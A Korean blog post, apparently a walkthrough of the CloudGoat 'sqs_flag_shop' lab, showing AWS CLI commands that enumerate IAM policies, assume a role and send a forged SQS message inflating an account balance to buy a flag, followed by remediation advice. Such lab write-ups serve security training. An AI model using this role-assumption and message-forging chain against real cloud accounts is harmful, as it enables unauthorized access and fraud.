반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/sqs_flag_shop/README.md

 

cloudgoat/cloudgoat/scenarios/aws/sqs_flag_shop/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

SQS_FLAG_Shop문제는 SQS메시지를 조작하여 DB에 있는 MyAsset의 값을 100,000,000 이상으로 만들어 FLAG를 구매할 수 있도록 하는 문제입니다.

 

공격 설명 페이지

 

생성된 웹페이지 - (http://<EC2 IP>:5000)

공격 대상 웹페이지

 

 

 문제 풀이

0. 환경 설정

시나리오 환경 구성이 완료되면 1. sqs-user, 2.웹페이지 주소 이렇게 총 2가지 정보가 주어집니다.

#-------------------- 0. 환경 설정 --------------------
cat start.txt
cloudgoat_output_sqsuser_access_key_id = <access_key>
cloudgoat_output_sqsuser_secret_key = <secret_key>
web_site_ip = http://<ec2 ip address>:5000

 

 

1. 현재 소유 권한 확인

현재 가지고 있는 권한을 확인해 보면 sqs-user는 모든 리소스를 대상으로 "iam:Get*", "iam:List*" 2개의 권한과 

cg-sqs-send-message 역할을 대상으로 "sts:AssumeRole" 을 할 수 있는 권한을 소유하고 있습니다.

 

cg-sqs-send-message로 역할 전환을 했을 경우 "cg-sqs" 정책을 소유하게 되는데 해당 정책을 확인해 보면

sqs 서비스 대상으로 "sqs:GetQueueUrl", "sqs:SendMessage" 2개의 권한을 가지게 됩니다.

 

#-------------------- 1. 현재 소유 권한 분석 --------------------

###  계정 리스트 확인 ###
aws iam list-users \
 --profile sqs_flag_shop | grep cgidkdmwdu0vlo
"UserName": "cg-sqs-user-cgidkdmwdu0vlo",
"Arn": "arn:aws:iam::739275444311:user/cg-sqs-user-cgidkdmwdu0vlo",
"UserName": "cg-web-sqs-manager-cgidkdmwdu0vlo",
"Arn": "arn:aws:iam::739275444311:user/cg-web-sqs-manager-cgidkdmwdu0vlo",

### <user> 에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "AttachedPolicies": []
}

### <user> 에게 적용된 User 관리 정책 ###
aws iam list-user-policies \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop \
{
    "PolicyNames": [
        "cg-sqs-scenario-assumed-role"
    ]
}

### 유저 정책 확인 ###
aws iam get-user-policy \
 --policy-name cg-sqs-scenario-assumed-role \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "UserName": "cg-sqs-user-cgidkdmwdu0vlo",
    "PolicyName": "cg-sqs-scenario-assumed-role",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo"
            }
        ]
    }
}

### 역할 확인 ###
aws iam get-role \
 --role-name cg-sqs-send-message-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-sqs-send-message-cgidkdmwdu0vlo",
        "RoleId": "AROA2YICACBL4GB66HAT2",
        "Arn": "arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo",
        "CreateDate": "2025-04-09T01:29:10+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/cg-sqs-user-cgidkdmwdu0vlo"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            },
            {
                "Key": "Scenario",
                "Value": "sqs_flag_shop"
            }
        ],
        "RoleLastUsed": {
            "LastUsedDate": "2025-04-09T02:39:16+00:00",
            "Region": "us-east-1"
        }
    }
}

### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
    "AttachedPolicies": []
}

### 역할 정책 리스트 ###
aws iam list-role-policies \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
    "PolicyNames": [
        "cg-sqs"
    ]
}

### 역할 정책 확인 ###
aws iam get-role-policy \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--policy-name cg-sqs \
--profile sqs_flag_shop
{
    "RoleName": "cg-sqs-send-message-cgidkdmwdu0vlo",
    "PolicyName": "cg-sqs",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sqs:GetQueueUrl",
                    "sqs:SendMessage"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:sqs:us-east-1:739275444311:cash_charging_queue"
            }
        ]
    }
}

 

 

 

2. 역할 전환

주어진 권한을 이용하여 역할전환을 합니다.

#-------------------- 2. 역할 전환 --------------------
### 역할 전환 ###
aws sts assume-role \
 --role-arn arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo \
 --role-session-name sqs-user \
 --profile sqs_flag_shop

### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile sqs_role aws_access_key_id <aws_access_key_id>
aws configure set --profile sqs_role aws_secret_access_key <aws_secret_access_key>
aws configure set --profile sqs_role aws_session_token <aws_session_token>

 

 

3. SQS 메시지 경로 확인 및 전송

역할 전환 이후 주어진 권한을 이용하여 queue url을 확인하고

이후 sqs queue url을 이용하여 조작한 message body를 전송하면 됩니다.

#-------------------- 3. SQS 메시지 경로 확인 및 SQS 메시지 전송 --------------------
### SQS GetQueueUrl 확인 ###
aws sqs get-queue-url \
--queue-name cash_charging_queue \
--profile sqs_role
{
    "QueueUrl": "https://sqs.us-east-1.amazonaws.com/739275444311/cash_charging_queue"
}

### SQS 메시지 전송 ###
aws sqs send-message \
--queue-url https://sqs.us-east-1.amazonaws.com/739275444311/cash_charging_queue \
--message-body '{"charge_amount": 100000000}' \
--profile sqs_role
{
    "MD5OfMessageBody": "a539acfcd12c57a477387a5dbc7fa5a8",
    "MessageId": "fcfda745-8e1d-4eaf-9e63-08e130a608fb"
}

 

 

SQS Send message를 보내면 아래와 같은 화면이 확인 가능합니다.

sqs queue message 전송 화면

 

조작한 SQS Send message를 보낸 후 웹페이지를 새로고침(F5) 해보면 My Asset이 늘어나있는게 보입니다.

이 자산을 이용하여 Flag를 주문(Order)하면 됩니다.

 

Flag 구매 이후 영수증(Receipt) 정보 확인에서 Flag 값을 확인하면 이 문제는 끝납니다.

Flag 획득 성공

 

 

  보안 개선 방안

 

1. 웹페이지 소스코드 주석 제거

 - 해당 문제는 결정적으로 웹페이지에 주석처리된 소스 코드가 문제였기 때문에 공격자에 의해 악용될 수 있습니다.

 - 따라서 웹페이지에 주석 처리된 소스코드는 전부 제거해야 함

 

2. sqs-user 인증 강화

 - sqs-user 계정이 공격자에 의해 탈취될 경우 동일하게 악용될 가능성이 있기 때문에 권한은 최소화 하고 MFA를 적용하여 탈취를 막아야 함

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형

+ Recent posts